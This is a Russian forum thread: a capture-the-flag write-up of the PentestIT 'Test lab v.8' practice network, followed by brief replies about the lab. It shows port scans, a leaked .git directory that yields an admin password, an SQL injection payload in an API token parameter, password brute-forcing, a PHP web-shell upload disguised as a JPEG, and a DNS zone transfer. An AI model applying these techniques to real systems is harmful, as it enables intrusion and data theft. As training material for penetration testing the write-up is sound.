Write-up "Test lab v.8" от PentestIT

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by beginner2010, 5 May 2016.

  1. beginner2010

    beginner2010 Elder - Старейшина

    Joined:
    21 Nov 2010
    Messages:
    558
    Likes Received:
    348
    Reputations:
    151
    Лаба уже к концу подходит, а скоро стартанёт 9ая версия. Может кому-то будет интересен write-up.

    Схема сети:
    [​IMG]

    Как обычно начинаем со скана портов:

    Code:
    nmap -sS -sV -T4 192.168.101.6
    Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:27 MSK
    Nmap scan report for 192.168.101.6
    Host is up (0.054s latency).
    Not shown: 998 filtered ports
    PORT    STATE SERVICE  VERSION
    80/tcp  open  http     nginx 1.8.0
    443/tcp open  ssl/http nginx 1.8.0
    
    nmap -sS -sV -T4 192.168.101.7
    Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:28 MSK
    Nmap scan report for 192.168.101.7
    Host is up (0.053s latency).
    Not shown: 997 filtered ports
    PORT     STATE SERVICE    VERSION
    22/tcp   open  ssh        OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
    25/tcp   open  tcpwrapped
    8100/tcp open  http       CommuniGate Pro httpd 6.0.9
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    После скана портов видим следущее:
    192.168.101.6:80 - site
    192.168.101.6:443 - cabinet
    192.168.101.7:22 - SSH
    192.168.101.7:25 - SMTP
    192.168.101.7:8100 - web GUI for mail

    Site token
    Сайт выглядит, как обычная html страница и страница авторизации. Изначально была мысль, что уязвимость где-то на странице авторизации, но попробовав разные пэйлоуды, понял, что ошибаюсь.

    Пробую просканить директории сайта dirb.
    Code:
    dirb http://192.168.101.6/
    
    ---- Scanning URL: http://192.168.101.6/ ----
    (!) WARNING: All responses for this directory seem to be CODE = 403.

    Каждый реквест возращает 403ую ошибку. Меняю user-agent и пробую ещё раз.
    Code:
    dirb http://192.168.101.6/ -a 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'
    ---- Scanning URL: http://192.168.101.6/ ----
    + http://192.168.101.6/.git/HEAD (CODE:200|SIZE:23)
    + http://192.168.101.6/.htaccess (CODE:200|SIZE:356)
    > Testing: http://192.168.101.6/aboutus
    Dirb находит .git директорию. Сливаю директорию с помощью git-rip
    Code:
    ./rip-git.pl -o /root/pentestit/lab/192.168.101.6/ -u http://192.168.101.6/.git/
    В директории гита лежат все исходниики сайта. Поиском по файлам находим логин:
    grep -r 'login' ./

    Code:
    ./app/database/seeds/DatabaseSeeder.php:          User::create(array('email' => '[email protected]', 'login' => 'admin', 'password' => Hash::make('OEbdBst1RqWyfVsN1TrP')));


    Логинимся с этим логином\паролем и получаем первый токен.

    Cabinet token
    После скана портов, мы знаем, что кабинет крутится на https. Сканируем кабинет dirb с изменённым user-agent, как мы это делали с сайтом.
    Dirb находит два урла:
    '/api/auth'
    '/api/balance'

    После проверки /api/auth на уязвимости, пробую потестировать /api/balance.
    Например, /api/balance?api_session_token=asd&id=1
    Получаем - {"error":{"api_session_token":["The api session token must be 40 characters."]}}

    Пробовал с помощью burp автоматизировать процесс и сделать sql inj, но потом понял, что больше 40 символов не пройдёт и делал руками.

    Отправляем запрос:
    GET /api/balance?api_session_token=asdasasdasasdasasdasaaaafffas'+or+'1'='1&id=1 HTTP/1.1

    Получаем:
    Code:
    [{"id":"1","email":"[email protected]","balance":"37.00"},
    "id":"2","email":"[email protected]","balance":"59.00"},
    "id":"3","email":"[email protected]","balance":"8.00"},
    "id":"4","email":"[email protected]","balance":"111.00"},
    "id":"5","email":"[email protected]","balance":"154.00"},
    "id":"6","email":"[email protected]","balance":"81.00"},
    "id":"7","email":"[email protected]","balance":"92.00"},
    "id":"8","email":"[email protected]","balance":"78.00"},
    "id":"9","email":"[email protected]","balance":"42.00"},
    "id":"10","email":"[email protected]","balance":"137.00"},
    "id":"11","email":"[email protected]","balance":"126.00"},
    "id":"12","email":"[email protected]","balance":"186.00"},
    "id":"13","email":"[email protected]","balance":"186.00"},
    "id":"14","email":"[email protected]","balance":"73.00"},
    "id":"15","email":"[email protected]","balance":"179.00"},
    "id":"16","email":"[email protected]","balance":"67.00"},
    "id":"17","email":"[email protected]","balance":"73.00"},
    "id":"18","email":"[email protected]","balance":"35.00"},
    "id":"19","email":"[email protected]","balance":"165.00"},
    "id":"20","email":"[email protected]@rhyta.com","balance":"20.00"},
    "id":"21","email":"[email protected]","balance":"105.00"},
    "id":"22","email":"[email protected]","balance":"19.00"},
    {"id":"23","email":"[email protected]","balance":"18.00"}]
    Из всех полученных аккаунтов заинтересовало [email protected], т.к. оно висело на почтовом сервере sas-bank.lab. C помощью burp и дефолтного словаря john the ripper удалось сбрутить пароль к кабинету данного пользователя. После того как логинимся в кабинет видим таблицу с информацией о транзакциях и слева информацию о пользователе и по клику на аватар появляется форма для загрузки аватара. Естественно на радостях пробовал загрузить сразу шелл в чистом виде, но срабатывала валидация. Включил в burp interception proxy и при загрузке шелла поменял Content-Type: application/x-php to Content-Type: image/jpeg. Получаем веб-шелл и токен от кабинета, который лежит в /var/www.

    Recon token
    С этим заданием сразу ничего понятно не было. Оно было в списке заданий, но где должен был быть токен и на какой машине его нужно было искать - это было загадкой.
    Вначале я решил опять посканить порты, только в этот раз посмотреть, что работает на udp.
    Code:
    nmap -sU -T4 -sV -p53 192.168.101.6
    Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
    Nmap scan report for 192.168.101.6
    Host is up (0.047s latency).
    PORT   STATE SERVICE VERSION
    53/udp open  domain  ISC BIND unknown
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
    
    nmap -sU -T4 -sV -p53 192.168.101.7
    Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
    Nmap scan report for 192.168.101.7
    Host is up (0.045s latency).
    PORT   STATE SERVICE VERSION
    53/udp open  domain  ISC BIND unknown
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
    Сразу же возникла мысль об axfr.
    Code:
    dig @192.168.101.6 sas-bank.lab axfr
    ; <<>> DiG 9.9.5-9+deb8u3-Debian <<>> @192.168.101.6 sas-bank.lab axfr
    ; (1 server found)
    ;; global options: +cmd
    ;; connection timed out; no servers could be reached
    
    dig @192.168.101.7 sas-bank.lab axfr
    ; <<>> DiG 9.9.5-9+deb8u3-Debian <<>> @192.168.101.7 sas-bank.lab axfr
    ; (1 server found)
    ;; global options: +cmd
    ;; connection timed out; no servers could be reached
    Пыл немного поубавился. Полез гуглить и нашёл информацию, что такие запросы могут быть разрешены внутри сети, но извне закрыты, а т.к. у нас уже был шелл, то оставалось только попробовать.
    Code:
    dig @192.168.101.6 sas-bank.lab axfr
    ; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @192.168.101.6 sas-bank.lab axfr
    ; (1 server found)
    ;; global options: +cmd
    ;; connection timed out; no servers could be reached
    
    dig @192.168.101.7 sas-bank.lab axfr
    ; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @192.168.101.7 sas-bank.lab axfr
    ; (1 server found)
    ;; global options: +cmd
    sas-bank.lab.          604800     IN     SOA     ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
    sas-bank.lab.          604800     IN     NS     ns1.sas-bank.lab.
    sas-bank.lab.          604800     IN     NS     ns2.sas-bank.lab.
    sas-bank.lab.          604800     IN     A     192.168.101.6
    sas-bank.lab.          604800     IN     AAAA     ::1
    cabinet.sas-bank.lab.     604800     IN     CNAME     sas-bank.lab.
    mail.sas-bank.lab.     604800     IN     A     192.168.101.7
    mail.sas-bank.lab.     604800     IN     MX     5 mx.sas-bank.lab.
    ns1.sas-bank.lab.     604800     IN     A     192.168.101.6
    ns2.sas-bank.lab.     604800     IN     A     192.168.101.7
    token_recon_ueshuN4ma.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
    vpn.sas-bank.lab.     604800     IN     A     192.168.101.7
    www.sas-bank.lab.     604800     IN     CNAME     sas-bank.lab.
    sas-bank.lab.          604800     IN     SOA     ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
    ;; Query time: 2 msec
    ;; SERVER: 192.168.101.7#53(192.168.101.7)
    ;; WHEN: Tue Dec  8 15:35:25 2015
    ;; XFR size: 14 records (messages 1, bytes 355)
    Получаем recon токен.

    Это всего лишь 3 токена из 12. Полный write-up можно прочитать здесь:
    https://drive.google.com/file/d/0B_AYPUqiqOk6S2FSRi1xR0huYnc/view?usp=sharing

    В write-up всё выглядит очень гладко, но на самом деле некоторые токены давались с большим трудом и иногда приходилось делать перерыв потому, что сказывалась усталость и терпение было на исходе. Данная версия лабы было очень интересной и узнал достаточно много чего нового. Основной вывод, который сделал из прохождения - уделять больше внимания деталям.

    С нетерпением жду новую версию лабы, которая судя по описанию будет очень интересной https://lab.pentestit.ru/pentestlabs/5

    Мой первый write-up, поэтому сильно не пинайте:)
     
  2. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    398
    Likes Received:
    38
    Reputations:
    1
    В первый раз слышу про такую канитель )
    Можете описать где этот сайт и какой смысл на него время тратить ?
    Но всё же тоже интересно помучаться
     
  3. ShpillyWilly

    ShpillyWilly New Member

    Joined:
    27 Sep 2012
    Messages:
    71
    Likes Received:
    3
    Reputations:
    0
    https://lab.pentestit.ru/
     
    Dark~Angel likes this.
  4. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    398
    Likes Received:
    38
    Reputations:
    1
    192.168.101.8 => http://cybear32c.lab/
    Но пишет что сайт не доступный почему ? vpn настроил и подключился
     
  5. beginner2010

    beginner2010 Elder - Старейшина

    Joined:
    21 Nov 2010
    Messages:
    558
    Likes Received:
    348
    Reputations:
    151
    Эта версия лабы уже недоступна. Сейчас 9ая версия доступна, а в ноябре стартует 10ая.